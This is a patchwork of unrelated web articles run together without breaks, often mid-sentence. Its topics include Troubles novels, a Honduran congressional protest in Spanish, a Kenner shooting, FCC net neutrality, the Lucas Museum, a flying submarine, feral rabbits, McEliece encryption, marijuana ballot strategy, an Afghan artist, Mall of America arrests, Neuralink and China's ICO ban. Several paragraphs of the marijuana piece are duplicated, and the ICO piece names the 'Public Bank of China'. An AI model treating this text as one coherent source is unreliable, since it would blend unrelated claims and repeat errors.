Less a novel than a string of topical gags and one-liners, showing no empathy with nationalists, treating their grievances as a source for questionable ribaldry. “Never in his life had he seen such a Hosting of the Gael, the flower of the National Freedom Movement: men with eyes that glowed in the dark; men with cobwebs in their hair and a strong stench of marzipan about their persons. Men with fingers missing, eye missing, balls gone; all with a pathological aversion to the clamouring of wrist-watches, all mad drunk and busting for charabanc ride to the briny with the chance of a bit of straightforward slaughter thrown in”.
Patriot Games, Tom Clancy (1987)
Breakaway republicans, the Ulster Liberation Army, target the Prince and Princess of Wales. “People like that don’t even understand why they get sent to prison; they don’t really understand,” he concluded. “Those are the scary ones.” “No,” Ryan said. “The scary ones are the ones with brains, the ones who believe in it” “I haven’t met one of those yet,” he admitted.
Best of the bunch
Give Them Stones, Mary Beckett (Bloomsbury, 1987)
Martha Murtagh’s struggle to gain a limited sense of autonomy while rearing a family in Belfast during the Stormont years and the present Troubles up till the mid-1980s.
Last Night Another Soldier, Aly Renwick (Information on Ireland, 1989)
Written from an anti-imperialist perspective, unapologetically a counter to the British view of the conflict.
A Goat’s Song, Dermot Healy (Harvill, 1994)
Hard-drinking Catholic playwright loves a Protestant actress whose father is in the RUC, with tragic consequences. In 1969 the father was filmed batoning civil rights marchers, an iconic image of supremacist brutality. A figure personifying the contempt of the Orange state for civil rights, which collective nationalist memory might have placed beyond the bounds of redemption, is shown to be all too humanly frail. Perhaps Healy’s message is that if we can begin to forgive or understand the character perhaps there is real hope for a new social and political dispensation in Ireland.
Reading in the Dark, Seamus Deane (Jonathan Cape, 1996)
Wonderful evocation of the treachery of memory, and of the slow unteasing of the truth about the past from local processes of myth-making, denial and disempowerment.
The Wrong Man, Danny Morrison (Mercier, 1997)
An unsettling and thought-provoking read for a republican, marking the author’s return after a lapse of more than a decade, much of it spent in prison, to the territory of his first novel, West Belfast.
The Catatrophist, Ronan Bennett (Headline Review, 1998)
Although about the Belgian Congo, 1959, there are many allusions to Irish nationalism. As in his two previous novels, The Second Prison and Overthrown by Strangers, Bennett explores the nature of commitment to a political cause.Tegucigalpa, Honduras
Seguidores del Partido Libertad y Refundación (Libre) irrumpieron este martes en el Palacio Legislativo, en el centro de la capital de Honduras, azuzados por dirigentes que rechazaron las nuevas medidas de seguridad impuestas en el Congreso Nacional.
Los manifestantes derribaron los barandales ubicados en los bajos del edificio legislativo, burlando el dispositivo de seguridad instalado desde tempranas horas.
Posteriormente, comenzaron a subir hacia el Hemiciclo, incentivados por los diputados de su bancada, entre ellos el expresidente de Honduras Manuel Zelaya.
"La resistencia ya está dentro del Congreso Nacional. Resistimos y venceremos, Nadie puede contra un pueblo organizado!", publicó en su cuenta de Twitter la diputada de Libre, Beatriz Valle.
La parlamentaria justificó que los actos protagonizados hoy son contra violaciones a derechos humanos y a la ley, y porque en el Congreso Nacional "pretenden ignorar" a Libre.
"Nos eligieron para defender los derechos del pueblo y eso es lo que estamos haciendo", añadió.
Una gran parte de revoltosos se mantenía hacia las 5:20 PM en el interior del palacio legislativo, donde cerraron los portones para evitar el desalajo y se ubicaron en las curules de los diputados. No obstante, minutos después elementos Cobras lograron ingresar a la sede del Poder Legislativo.
Acto seguido, los miembros de la resistencia comenzaron a cantar el Himno Nacional de Honduras a la vez que alzaban el brazo izquierdo con el puño cerrado.
Minutos después, con Manuel Zelaya y Xiomara Castro a la cabeza simularon su salida, pero luego se detuvieron para cantar de nuevo el Himno Nacional. A eso de las 5:40 PM, la Policía lanzó gas pimienta, lo que permitió finalmente el desalojo en medio de forcejeos y empujones.
Mientras, en los exteriores del Hemiciclo legislativo se plantaron efectivos de la Policía Militar para restablecer el orden en el centro de la capital hondureña.
Los zelayistas lanzaron piedras contra los policías, quienes usaron gases lacrimógenos para disolver la protesta que obligó a cerrar los comercios ubicados en el centro de la capital hondureña.
Diputados de Libre ofrecieron más temprano una conferencia de prensa en la que reclamaron al gobierno por el atentado contra el regidor de la Municipalidad del Distrito Central, Rafael Barahona, y la inseguridad que prima en Honduras.
"Venimos a demandar justicia, paz, prosperidad y seguridad, que fue lo que estos le prometieron a Honduras”, dijo Manuel Zelaya en referencia al gobierno de Juan Orlando Hernández.
“Juan Orlando tiene un régimen militar impuesto en el país y vamos a continuar con las manifestaciones dentro del concierto que se nos permite", expresó, haciendo un llamado a sus seguidores para salir a las calles.
Este martes entró en vigencia el nuevo reglamento de seguridad del Congreso Nacional, que prohíbe el ingreso de personal con armas de fuego, incluyendo los legisladores.
"Estas medidas de seguridad que se han tomado a partir de hoy en el Congreso Nacional tienen un precedente que es la actitud del Partido Libertad y Refundación en estos primeros días en este poder del Estado", dijo más temprano el vicepresidente del CN, Antonio Rivera Callejas.Police say a Kenner teen accidentally shot another teen while showing off a handgun, then drove the victim to the hospital.
The investigation started at the hospital.
"Nursing staff at Ochsner Kenner, reported that at 17-year-old, male had arrived at the hospital with a gunshot wound to his abdominal area," Lieutenant Brian McGregor said in a news release.
He explained that the suspect allegedly brought his gun to a local restaurant, Mazaj Restaurant & Café, located at 3244 Georgia Avenue. Mario Iboy De La Cruz, 18, is accused of then shooting the 17-year-old victim.
"Cruz brandished a handgun and began showing a group of subjects a Glock 19, 9 mm, handgun. While displaying the handgun, Cruz pointed the handgun at the victim and pulled the trigger at which time the gun discharged striking the victim in the abdomen area, piercing the victim’s kidney, liver, and diaphragm. Cruz then transported the victim to the hospital," McGregor said.
The victim was reportedly in stable condition.
De La Cruz was charged with the crimes of negligent injuring and illegal use of weapons.Nearly 30 senators have called on the Federal Communications Commission (FCC) to delay its vote to dismantle net neutrality rules due to concerns they have over fake public comments made to the agency earlier this year.
Earlier this year, the FCC opened up public comment on its plans to gut net neutrality rules that fall under Title II of the Communications Act. Net neutrality, a founding principle of the internet, requires that all internet traffic be treated equally–for example, barring an internet service provider (ISP) from slowing down Netflix in favor of their own streaming service.
The public comment portion has come under scrutiny in recent months. New York Attorney General Eric Scheiderman has been investigating how someone used American identities to post fraudulent comments on the FCC’s website.
Those fake comments have 27 senators questioning whether or not the FCC is voting on the proposal to dismantle net neutrality with the true feelings of Americans in mind.
“A free and open internet is vital to ensuring a level playing field online, and we believe that your proposed action may be based on an incomplete understanding of the public record in this proceeding,” the letter, addressed to FCC Chairman Ajit Pai, reads. “In fact, there is good reason to believe that the record may be replete with fake or fraudulent comments, suggesting that your proposal is fundamentally flawed.”
27 senators are calling on the FCC to delay its vote on repealing net neutrality rules, citing concerns that the agency's public comment file may be filled with fake comments. pic.twitter.com/sqmSQzZ6s4 — Kyle Griffin (@kylegriffin1) December 4, 2017
The letter says without “additional information” about the fake comments, the FCC cannot have a “thorough and fair evaluation of the public’s views” on net neutrality before the vote to strip away the regulations on Dec. 14. The letter asserts that more than 1 million comments in favor of repealing net neutrality could be fake.
The push-back against the FCC’s plan to repeal net neutrality has been fierce. Earlier this year, hundreds of websites participated in the Internet-Wide Day of Action to Save Net Neutrality, and a We The People petition calling for Pai to resign has more than 100,000 signatures, theoretically requiring the White House to respond to it. Protests are also scheduled across the country this week at Verizon stores.
The letter is signed by Sen. Margaret Hassan (D-N.H.), Sen. Sherrod Brown (D-Ohio), Sen. Bernie Sanders (I-Vt.) Sen. Edward Markey (D-Mass.), Sen. Catherine Masto (D-N.V.), Sen. Sheldon Whitehouse (D-R.I.), Sen. Tammy Duckworth (D-Il.), Sen. Michael Bennet (D-Colo.), Sen. Jeanne Shaheen (D-N.H.), Sen. Richard Blumenthal (D-Conn.), Sen. Elizabeth Warren (D-Mass.), Sen. Gary Peters (D-Mich.), Sen. Patty Murray (D-Wash.), Sen. Amy Klobuchar (D-Minn.), Sen. Ron Wyden (D-Ore.), Sen. Tammy Baldwin (D-Wis.), Sen. Mazie Hirono (D-Hawaii), Sen. Chuck Schumer (D-N.Y.), Sen. Jack Reed (D-R.I.), Sen. Ben Cardin (D-M.D.), Sen. Dianne Feinstein (D-Calif.), Sen. Mark Warner (D-Va.), Sen Jeff Merkley (D-Ore.), Sen. Tim Kaine (D-Va.), Sen. Kirsten Gillibrand (D-N.Y.), Sen. Angus King (I-M.E.), Sen. Al Franken (D-Minn.), and Sen. Cory Booker (D-N.J.)For months, “Star Wars” creator George Lucas held the art world in suspense: Would he put his $1-billion Museum of Narrative Art in Los Angeles or San Francisco?
On Tuesday came the answer.
Lucas’ personal collection of fine and popular art, including ephemera related to his “Star Wars” franchise, will fill a futuristic-looking new museum planned for L.A.’s Exposition Park, which beat out a competing design for Treasure Island in San Francisco Bay. The rivalry had pitted the two cities in the competition not only for Lucas’ collection and the tourism it will bring, but also for the thousands of jobs that backers said the project will create.
Lucas has said he will fund the project to the tune of about $1 billion, including building costs, his art and an endowment of at least $400 million.
The Lucas Museum will further expand the art museum landscape in greater L.A., which has become a global hot spot for art production. The Broad museum opened in late 2015 in downtown L.A., across the street from the Museum of Contemporary Art. The museum-scale Hauser Wirth & Schimmel gallery opened in
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on the Shrewsbury River in 1962 by Don’s son Bruce. Initially the pilot's position was in the engine pylon but was moved forward onto the fuselage before the first flight.
To convert it into a submarine, the pilot removed the propeller and covered the engine with a rubber "diving bell". On auxiliary power, a small 1 hp electric motor situated in the tail, it traveled submerged, the pilot using an Aqualung, at a depth of 10 to 12 ft (ca. 3.5 m). The RFS-1 also bore the New Jersey State watercraft license NJ18S on the nose.
Underpowered, the Reid RFS-1, also known as the Flying Submarine, really did fly, briefly, but was unable to sustain flight; and it was submersible. Don Reid tried to interest the military in the craft, without success; he died at the age of 79 in 1991."Dear Editor,
Re: “New animal hospital gets large loan,” The News, Aug. 4.
article continues below
Kudos for RAPS in taking progressive action for the welfare of dogs and cats, and thanks to the City of Richmond, Applewood Nissan and Vancity for their funding partnerships.
However, there is much-needed attention required for the feral rabbits in Richmond.
Yet, it doesn’t appear that any accommodation, care, or consideration has been given to these highly intelligent and neglected creatures. Rabbits are the third most popular pet, but irresponsible or ignorant owners are disposing them on public lands, and then they multiply. And this rabbit abandonment issue is not limited to Richmond but occurs in multiple jurisdictions across B.C.
Pets are not limited to just dogs and cats; there are other lovable creatures as well. I strongly urge the City of Richmond, Richmond Auto Mall, and Vancity to consider appropriate funding partnerships and space for a rabbit sanctuary, and that a skilled rabbit organization oversee the care of feral rabbits. They are just as worthy of attention as dogs and cats. Having lived with dogs and a rabbit, I can attest to the social, loving, and highly intelligent nature of rabbits.
Dr. Patricia Tallman
LangleyThe core advantage of quantum computing -- the ability to compute for many possible outcomes at the same time and therefore crunch data much more quickly than classical computers -- also creates a problem for data security. Once the first high-powered quantum computers are functioning, they'll be able to quickly saw through many of our most common data encryption algorithms. But as it turns out, an obscure encryption code created in 1978 is resistant to all known methods of quantum attack.
Hang Dinh at the University of Connecticut and a few colleagues figured out that CalTech mathematician Robert McEliece's code is structured in such a way that a quantum computer couldn't just pull it apart, at least not by any known process. Rooted in a mathematical puzzle called the hidden subgroup problem, standard quantum fourier analysis simply can't crack the code.
What does all that mean? For a more extensive mathematical explanation, click through to Tech Review's more thorough and astute review of quantum encryption. But in summary, encryption is often conducted using asymmetric codes, meaning there's a public key that anyone can use to encrypt data and a private key for decrypting it. The basis of these encryption schemes is math that flows easily in one direction but not so easily in the other.
Such asymmetric code can be tricky for a classical computer to figure out but quantum computers are well suited to such work. To take a simple example, say a message was encrypted using basic multiplication -- one number is multiplied by a number to get a third number. It's not so easy to look at the third number and quickly determine the two numbers that spawned it.
In math, the process of doing this is called factorizing, and mathematicians factorize through a quality called periodicity -- the idea that a mathematical entity with the right periodicity will divide an object correctly while others will not. In 1994, a mathematician created an algorithm that does this very well, and that shortcut to finding periodicity has a quantum analogue known as quantum fourier sampling. Using fourier sampling, quantum computers can quickly factorise codes, rendering most of our most common encryption schemes useless.
But McEliece's little-used code doesn't rely on factorization, meaning quantum fourier analysis can't break it down. That means it's essentially impervious to all known forms of quantum attack. That's not to say that new modes of quantum hacking won't be developed to decrypt McEliece's system, but it's interesting that while standing at the threshold of a new era of computing power researchers are finding solutions that can keep our data safe more than three decades in the past.
Technology ReviewNow that marijuana legalization initiatives have been approved in Colorado and Washington State, the big question for the marijuana reform movement is what should be the next move. Mainly, should there be a push to put similar legalization initiatives on the ballot in targeted states in 2014 or is it better to wait until the 2016 election?
It is an important strategic decision. Each initiative campaign requires a significant time and financial commitment. The close failure of an initiative can also run the risk of causing issue fatigue among voter,s forcing the community to wait several cycles before trying again. Without directly choosing a side, I want to present what seem to be the best arguments for each.
2014 – Moving as quickly as possible
The moral imperative – If you believe marijuana prohibition is bad policy that is needlessly hurting people then it can be argued that you have a duty to try to end it as soon as possible. You should not let bad policies persist a moment longer than absolutely necessary. There are a few states that might be able to narrowly approve a legalization measure in 2014.
– If you believe marijuana prohibition is bad policy that is needlessly hurting people then it can be argued that you have a duty to try to end it as soon as possible. You should not let bad policies persist a moment longer than absolutely necessary. There are a few states that might be able to narrowly approve a legalization measure in 2014. Strike while the iron is hot – Support for legalization has grown steadily for the past two decades and it’s assumed support will continue to grow in the near future, but that might not be the case. It is possible that some new development in 2015, like say a strong federal response against Colorado and Washington State, could temporarily reverse this trend. If an initiative looks like it stands a decent chance of winning in 2014 it might make sense to seize the moment on the off chance that the support could drop before 2016.
– Support for legalization has grown steadily for the past two decades and it’s assumed support will continue to grow in the near future, but that might not be the case. It is possible that some new development in 2015, like say a strong federal response against Colorado and Washington State, could temporarily reverse this trend. If an initiative looks like it stands a decent chance of winning in 2014 it might make sense to seize the moment on the off chance that the support could drop before 2016. Maintaining the momentum – People are currently excited about the recent victories but four years is a long time. If an initiative won in 2014 it could help keep the issue prominent.
2016 – Waiting for the best chance of success
A more favorable electorate – 2016 will be a presidential year election. Traditionally, presidential elections see much higher turnouts from young voters who tend be the strongest supporters of legalization. Post-election polling indicates that if California’s 2010 Proposition 19 had been on the ballot during a Presidential election it would have done roughly two percentage points better. That could easily make the difference between a narrow win and a narrow loss.
– 2016 will be a presidential year election. Traditionally, presidential elections see much higher turnouts from young voters who tend be the strongest supporters of legalization. Post-election polling indicates that if California’s 2010 Proposition 19 had been on the ballot during a Presidential election it would have done roughly two percentage points better. That could easily make the difference between a narrow win and a narrow loss. Support will likely keep growing – Polling shows support for legalization has been growing steadily for decades and it will likely continue to grow. Waiting just two extra years could make winning an initiative campaign noticeably easier.
– Polling shows support for legalization has been growing steadily for decades and it will likely continue to grow. Waiting just two extra years could make winning an initiative campaign noticeably easier. More time to build support – Part of why Amendment 64 did so well in Colorado is that activists in the state had spend years laying the groundwork. The extra time could be used to better prepare for the campaign.
– Part of why Amendment 64 did so well in Colorado is that activists in the state had spend years laying the groundwork. The extra time could be used to better prepare for the campaign. A premature loss could destroy the national narrative – The recent victories have created the national perception that legalization has momentum, but if the next set of initiative campaigns happened prematurely and failed, that could ruin this narrative. This narrative perception is very important because less than half the states allow initiatives and eventually the issue will need to be dealt with at the federal level. For legalization to spread to non-initiative states legislators need to feel there is a broad wave of support for change.
– The recent victories have created the national perception that legalization has momentum, but if the next set of initiative campaigns happened prematurely and failed, that could ruin this narrative. This narrative perception is very important because less than half the states allow initiatives and eventually the issue will need to be dealt with at the federal level. For legalization to spread to non-initiative states legislators need to feel there is a broad wave of support for change. Potential for a friendly presidential nominee – With support for legalization growing there is a good chance at least some of the presidential hopefuls in 2o16 might try to curry favor with young people on the issue. People might be more inclined to vote for a legalization initiative if at least one of the presidential candidates promised not to use the federal law enforcement to interfere.
A the moment there seems to be some coalescing around the strategy of waiting until 2016. At the recent NORML conference in California there was mostly agreement among activists that 2016 was the best time for a legalization initiative. In addition, MPP is currently planning to focus most of its state-wide initiative efforts on getting ready for 2016. It is still roughly a year before any decision will need to be made so of course everything is subject to change based on new developments.
Photo by marijuana2007b under Creative Commons license.Media playback is unsupported on your device Media caption Kubra Khademi wore the costume to highlight harassment faced by women, as David Loyn reports
An Afghan artist has been forced into hiding after receiving death threats for dressing in a metal suit featuring exaggerated breasts and buttocks.
Kubra Khademi wore the unusual armour in a performance on the streets of Kabul to highlight the problems of sexual harassment faced by women.
She had hoped to make a walk lasting for 10 minutes but in the event was forced back into her car by an angry mob of men after only eight minutes. The men threw things and even children were shouting at her.
She said the men were yelling: "That whore. What is she doing? Is she a foreigner? Who the hell is she?"
Image caption The artist says the performance was inspired by her own experience of abuse as a child
Image caption She was forced off the streets after just eight minutes
Khademi carried out the performance because, she said, Afghan women suffered in silence. And even wearing a burka is no protection. She said those wearing the all-covering blue nylon garment faced harassment too.
However, she is now facing daily threats by phone and email from Islamic fundamentalists who have threatened to kill her.
'Killing a butterfly'
Speaking to the BBC in a secret hiding place, she said it had taken her several weeks to make the armour. The blacksmith she used was surprised when she first came in but she marked out the breasts and bottom and they beat the metal into shape.
She said she had designed it because "this is all that men see of women".
Image caption She had the bodysuit custom-made by a local blacksmith
Image copyright AFP Image caption Despite the trouble with fundamentalists, she says she has no regrets
The idea of the armour was inspired by her own experiences of sexual harassment when she was only five years old. She was very upset by the encounter which she likened to killing a butterfly.
"First of all I questioned my identity and sexuality and everything I was feeling," she said.
"It was like something was dead. What I remember of that day is only one sentence I said at that moment: 'I wish my underwear was made of iron.'"
'Heat is increasing'
For the performance, she walked on the crowded streets of Kabul's western district of Kote Sangi, where she had faced taunts and harassment as a student in 2008.
'When it happened to me then, I screamed and screamed, and all the people started looking at me and yelling at me and saying 'how dare you scream, you whore'," she says.
"Nobody was defending me, they were blaming me."
She says she had expected some hostility for the performance in Kote Sangi last week but she thought it would die down.
Instead, she says, "the heat is increasing every day".
She is now receiving constant death threats by email and phone and her life has been turned upside down but she has no regrets.
"What I am facing now is the reality of my society," she said. "I can't change it immediately. OK, you are angry, but this is how I work, and I am not going to stop it."Two Native American women say that they were arrested at the Mall of America in Minnesota on New Year’s Day for attempting to have a traditional cultural celebration that the officials interpreted as a protest.
The women, who are part of the activist group Idle No More, have called the mall’s action’s discriminatory.
“All we wanted to do is have the same equal access to the mall as other flash mobs have been here,” Idle No More Minnesota activist Patricia Shepard said after her arrest.
A year ago, Idle Mo Nore had brought attention to the Canadian government’s anti-tribal policies by staging a “round dance” inside the mall. Activists said that Canada’s Jobs and Growth Act had removed bodies of water from government protection and made it easier to privatize tribal land.
The Mall of America is owned by the Canadian company Triple Five Group, which has pledged to support “development of mineral resources” and “production of oil and gas” on native lands.
Officials at the Mall of America called the 2012 Idle No More event “extremely disruptive” and forbid the activists from staging a similar event on New Year’s Day.
Reyna Crow, one of the woman who were arrested, insisted that the demonstration was more about sharing Native American culture than protesting.
“It’s a friendship dance,” she said.
“Singling out one particular group of people and telling them that they’re not welcome to have a positive family event, a gesture of friendship and healing in the Mall when so many other cultural groups are welcomed is to me absolutely appalling,” Crow explained.
In video posted on YouTube, Crow can be seen entering the mall and being confronted by a security guard.
“The reason I’m asking you to leave this Mall is a result of this event,” the guard says.
“As a result of the press conference on the sidewalk?” Crow asks. “There’s no event, I’m on my way to get coffee. So, I’d like you to be factual about what it is that I did that’s a problem.”
Crow refuses to leave and the security guard orders her to put her hands behind her back. Crow was removed from the mall by Bloomington Police and reportedly charged with trespassing.
In another video, Shepard can be heard crying that officers are hurting her with handcuffs during the arrest.
“You don’t have to squeeze those handcuffs when you’re cutting off my circulation,” she says.
Attorney Jordan Kushner, who is representing Shepard and Crow, called the arrests “disturbing and racist.”
“The Mall of America singled this group out because they didn’t appreciate a Native American group having a cultural celebration,” he explained.
Kushner said that mall security “violently accosted both of the organizers of the event and then arrested them with the intention of trying to break up any kind of gathering than might happen.”
Mall of America spokesperson Maureen Bausch insisted that protests had never been allowed inside the mall.
“If you look at the website for Idle no More, it is an activist group. It is a protest, it is a demonstration,” she said.
Watch the following videos, uploaded on Jan. 1, 2014.
(h/t: The Uptake)Neuralink, Musk’s brain-computer interface company, is in the process of expanding rapidly and has several new technical job openings on their website. There is heavy focus on applied engineering, particularly in the context of microelectromechanical systems (MEMS), also known as micromachines or “really tiny robots”, as I like to call them. Not only is this a rapidly growing field of study and application as of late, but MEMS as a priority implies that in the near term, Neuralink is structuring itself as an advanced nanotechnology incubator, with a focus on biocompatible (safe for humans) applications.
MEMS have a fascinating history, often said to have begun with a famous lecture given by Richard Feynman in 1959. In it, he argued that it should be fundamentally possible to one day manipulate matter at an atomic level, to “arrange atoms the way we want”. All matter is composed of atomic structures, and such a capability would logically allow the creation of new materials and chemicals by mechanically altering atomic structures. Technology on this order would allow for the existence of science fiction standouts like true 3D printers capable of assembling almost anything conceivable (food, functioning electronic devices, clothing, pharmaceuticals, etc.) out of some form of basic input matter. That capability is of course purely theoretical and probably decades away from reality, but it offers an idea as to just how useful atomic manipulation could be in nearly every industry one can imagine.
For brain-computer interfaces (BCIs), the allure of MEMS or nano-EMS (NEMS) are obvious. Given small enough machines, one can imagine a sort of biocompatible dust that would naturally proliferate throughout the brain and body, likely by way of the bloodstream. Confused for nutrients or debris, many millions or billions of these tiny dust particles might embed themselves in the vast network of blood vessels throughout the human brain or be absorbed into neurons themselves. Add some sort of mesh network capability or an external device capable of interacting with the smart dust, and you have a vast, detailed method of recording and stimulating neural activity with something as simple as a few pills or injections and a smartphone-sized device.
The minds behind Neuralink
While even the narrower goal sketched above appears far fetched in many ways, the eight founding members of Neuralink have backgrounds that suggest the company will pursue precisely that architecture, often called “neural dust”. Several have conducted critical research into the many complex ways human brains integrate information necessary to move the body, among other things. Phillip Sabes, a professor of physiology at the University of California (San Francisco), has conducted research into the brain’s ability to “flexibly and adaptively integrate information from a variety of sources, from higher cognition to sensory and motor processing”. This information integration is a fundamental feature of all brain function.
Several other founders have experience in neuromorphic (brain-like) computer processors. Paul Merolla has been a central designer in almost every groundbreaking neuromorphic chip project, ranging from Stanford’s Neurogrid and IBM’s TrueNorth. In general, the study of neuromorphic computing hopes to package some of the incredible efficiencies and capabilities of brains into commercial products. Primarily, neuromorphic engineering attempts to replicate the behavior of biological neural networks in order to better understand them and, as a result, better understand how the human mind functions.
The lab Sabes runs has been recently exploring an array of topics, ranging from efforts to drastically improve researchers’ abilities to listen to neurons in the brain, to developing knowledge and technologies that could eventually provide natural movement and control through brain-machine interfaces (i.e. brain-controlled prosthetic limbs) by introducing artificial feedback. The argument his lab makes is that the unnatural look and feel of people using brain-interfaced prosthetics is likely a result of a lack of feedback in the artificial limbs, where real human limbs are typically directed with a combination of multiple senses like touch, temperature, pressure, and more. Possibly the most important conclusion is that through the work his lab does, they are “learning how to communicate with parts of the brain that don’t have a clear topology (location or distribution), which is most of the brain”. For Neuralink to have even a chance of successfully developing a “high bandwidth interface for the nervous system”, this knowledge will be crucial, given the fact that higher cognitive functions tend to be broadly distributed throughout the physical brain.
Other members, like Tim Hanson, have spent the better part of a decade developing flexible, stable, and minimally-invasive alternatives to the rigid electrodes of today, which require inherently risky surgery to install. These flexible electrodes, capable of being more or less “injected” into the brain, have been successfully tested numerous times in animal subjects and are currently undergoing tests to ensure their longevity and resilience to the tough environment of living things.
Heading back to the concept of “neural dust” and other innovative methods of recording and stimulating neurons, another of the eight founders of Neuralink is Dr. Dongjin Seo, a central figure in the exploration of “neural dust”. Described as “ultra-miniature, untethered, wireless neural implants (‘Neural Dust’) for brain-machine interfaces”, Seo and several others have spent years developing the concept. Most recently, Seo and six other researchers successfully conducted testing in rats of a preliminary prototype of neural dust that was passive, wireless, and had no batteries. By powering the ‘dust motes’ with ultrasound while implanted in brain tissue, the researchers were able to produce detailed, accurate recordings of rat brain activity. This successful proof of concept occurred in 2016, and it is undoubtedly no coincidence that Seo was invited just months later to co-found Neuralink with Elon Musk.
Dr. Seo’s neural dust prototype. The longest dimension is approximately 1 millimeter. (Berkeley Labs) A zoomed-in diagram of the dust mote pictured to left. An alternative non-invasive electrode, in the form of an injectable mesh. (Lieber Research Group)
While there is a vast amount of progress and miniaturization that must occur before anything approaching Musk’s aspirations is possible, the very fact that non-invasive neural recording and stimulation could be achievable in humans within a handful of years puts into doubt a great deal of specific criticism Neuralink and Musk have received since the reveal.
Bandwidth
Another difficulty in creating a “high bandwidth interface for the nervous system” lies in the high-bandwidth aspect of the endeavor. In order to functionally interact with an array of neurons, say even a million neurons, a vast amount of data will have to be transferred very rapidly, and wirelessly, back and forth between brains and computers. The creation of true, seamless BCIs will likely require observing and stimulating tens of millions to billions of neurons. If we assume that a single neuron would create around 5,000 bytes (5 kilobytes) of information per second, and we want to observe ten million neurons simultaneously, the bandwidth necessary can begin to reach well into the range of terabits (~120 gigabytes) per second. It’s possible that this issue can be circumvented by communicating and stimulating fewer neurons per second or solved with some form of compression between brain and computer, but it serves to illustrate the incredible scale of the brain and the difficulties of creating an interface worthy of the title “high bandwidth” in context.
It should thus come as no surprise that Dr. Seo has assisted in the development of extremely high bandwidth, short range wireless communications in the past. Every single member of the Neuralink team was aggressively vetted and narrowed down to a select few individuals who were experts in multiple highly complex fields each. Musk told that Wait But Why‘s Tim Urban that he likely personally interviewed or met with at least a thousand people before deciding upon the eight initial founding members. Many of the founders Musk originally approached left sought-after tenured positions at prestigious institutions to join Neuralink, and this speaks to Musk and Neuralink’s highly compelling goals.
The human brain is thought to contain as many as 100 billion neurons, at least 20% of which are relevant to the higher-level cognition that is unique to humans, and possibly a trillion or more glial cells which may play a far more significant role in cognition than previously thought. Ahead of Neuralink and the brilliant team are numerous vast and undeniably daunting challenges. As they have before, they will continue to peer deep within the abysses of human consciousness and attempt to progress our understanding of ourselves. Whether they succeed or fail, they will do so for the sake of the future of humanity; endeavoring to improve upon a chaotic natural marvel and hoping to ensure competition in the face of artificial intelligence that will know no biological bounds.So the Public Bank of China just issued a statement regarding the recent announcement on the ban of ICOs. So this official announcement should come at no surprise to anyone.
However, it does look like it’s already creating yet another round of panic in the market. So before the panic escalates, let’s just breakdown the announcement.
This is my interpretation of it. Do not take this as advice, do not especially take this as financial advice. At the end of the day, use your own judgement.
Recently, a large number of fundraising activities through issuing tokens including Initial Coin Offering (ICO) have taken place in China, giving rise to speculation and inviting suspicion of illegal financial activities. These activities have disrupted the economic and financial order
Nothing new here. Obviously the exponential growth in initial coin offerings has occurred. Without an understanding of the impacts of these ICOs and fund raising activities, it is creating red flags around the globe. Activities such as ICOs do easily allow for manipulation, fraud, pyramid schemes. No doubt you would have heard of at least a handful in the recent months. Anything that can potentially create economic instability would and should be frowned upon.
To implement the spirit of the National Financial Work Conference, protect the legitimate rights and interests of investors and manage financial risks, and in accordance with Law of the People’s Republic of China on the People’s Bank of China, Law of the People’s Republic of China on Commercial Banks, Law of the People’s Republic of China on Securities, Law of the People’s Republic of China on Cyber Security, Regulation of the People’s Republic of China on Telecommunication, Measures for Banning Illegal Financial Institutions and Illegal Financial Business and Activities, and other laws and regulations,
It should be in the genuine interest of any government to protect their citizens from unlawful practice. It should be no different in the case of ICOs or the trading of tokens.
I. The Essential Attributes of Fundraising Through Coin Offering Financing through coin offerings refer to financing bodies raising virtual currencies such as Bitcoin or Ethereum from investors through illegal sales and circulation of crypto currency or tokens. Such offerings, in essence, are unauthorized and illegal public fundraising and are suspected of involving in criminal activities such as illegal selling of tokens, illegal issuance of securities, illegal fundraising, financial fraud and pyramid schemes. The competent authorities will closely monitor the related developments, strengthen coordination with the judicial departments and local governments, strictly enforce the law and work based on the current mechanism, and resolutely clamp down on market irregularities. Any suspected crimes, once identified, will be transferred to judicial department.
This does not imply a ban on Bitcoin, or Ethereum, as some forums have suggested. However, fundraising (peforming an ICO) using these assets is deemed as unauthorised. Therefore ICOs can be suspected of involving in criminal activities. They define criminal activities as: illegal selling of tokens, illegal issuance of securities, illegal fundraising, financial fraud and pyramid schemes.
The token or “virtual currency” used in coin offerings are not issued by the monetary authority. Such currency does not have characteristics of money such as legal tender status and mandatory use, has no legal status equivalent to money, and cannot be circulated or used as currency in the market.
Most countries do not so far recognize Bitcoin, Ethereum, or any other cryptocurrency as a legal tender (actual currency). They do classify them as assets or property. Any legal or tax implication would therefore be similar to how any other asset or property is taxed in that country.
II. No Organizations or Individuals Shall Engage in Illegal Fundraising through Coin Offering From the date of release of this Notice, fundraising through coin offering shall be banned immediately. Any individuals or organizations that have completed fundraising through coin offering shall make arrangements to return the funds raised, and to ensure that the legitimate rights and interests of the investors are protected and the risks involved are properly managed. The government departments concerned will strictly investigate and address the coin offering activities that have continued despite the ban and the illegal activities in the projects that had completed fundraising.
This right here states that all Initial Coin Offering activities are now banned. Any entity that has completed an ICO must return the funds raised. There is clearly no ambiguity here. China is banning ICOs and ICO related activities.
III. Management of Related Platforms Shall be Strengthened From the date of release of this Notice, any so-called platform that provide trading and exchange services for coin offering shall not engage in exchange businesses between legal tender and token or “virtual currency”; or engage in proprietary trading activities or trading as an central counterparty of tokens or “virtual currencies”; or provide pricing services or act as information intermediary for tokens or “virtual currencies”. As for the trading platforms with activities that have violated laws or regulations, the financial regulatory authorities will notify the administrative department in charge of telecommunications to adopt measures such as shutting down its website platform and mobile APP, notify the administrative departments in charge of cyberspace to remove its mobile APP from the APP store, and notify the business administration department to revoke its business license.
They are not stipulating that all crypto exchanges, or that the ban is applicable on crypto-to-crypto exchanges. This only applies to any entity that currently provide trading services or exchange services for coin offerings.
No entity can provide trade or exchange services between fiat currency and any other token
No entity can engage in trading activities of tokens
No entity can trade as a central conterparty of tokens
No entity may price tokens or even provide informaiton on these tokens
Any entity that does any of the above will have its website and APP removed. The business administration department will be notified to have the entity’s business license removed.
IV Financial Institutions and Non-Bank Payment Institutions Shall Not Conduct Businesses Related to Coin Offering Fundraising and Trading Financial institutions and non-bank payment institutions shall not directly or indirectly provide product or services such as account opening, registration, trading, clearing and settlement for fundraising through coin offering/“virtual currencies”; or insure businesses related to tokens/“virtual currencies” or include tokens/“virtual currencies” in the insurance coverage. Once clues of illegal coin offering fundraising and trading is identified, financial institutions and non-bank payment institutions shall promptly report to the departments concerned.
